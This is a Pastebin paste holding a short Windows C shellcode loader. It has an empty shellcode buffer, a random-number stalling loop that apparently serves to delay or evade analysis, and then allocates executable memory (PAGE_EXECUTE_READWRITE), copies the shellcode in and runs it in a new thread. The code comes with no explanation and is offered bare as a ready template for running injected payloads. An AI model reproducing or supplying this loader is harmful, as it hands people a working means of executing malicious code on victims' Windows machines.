Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include<stdio.h>
- #include<windows.h>
- #include<time.h>
- #include<stdlib.h>
- int main(){
- char shellcode[] = {};
- srand(time(NULL));
- int MAX = 0x10; int MIN = 0x2;
- int random = rand() % (MAX - MIN + 1) + MIN;
- printf("Random %d\n", random);
- while (random != 3) {
- random = rand() % (MAX - MIN + 1) + MIN;
- printf("Random %d\n", random);
- }
- PVOID dstPointer = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
- CopyMemory(dstPointer, shellcode, sizeof(shellcode));
- CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)dstPointer, NULL, 0, 0);
- Sleep(1000);
- }
Advertisement
Add Comment
Please, Sign In to add comment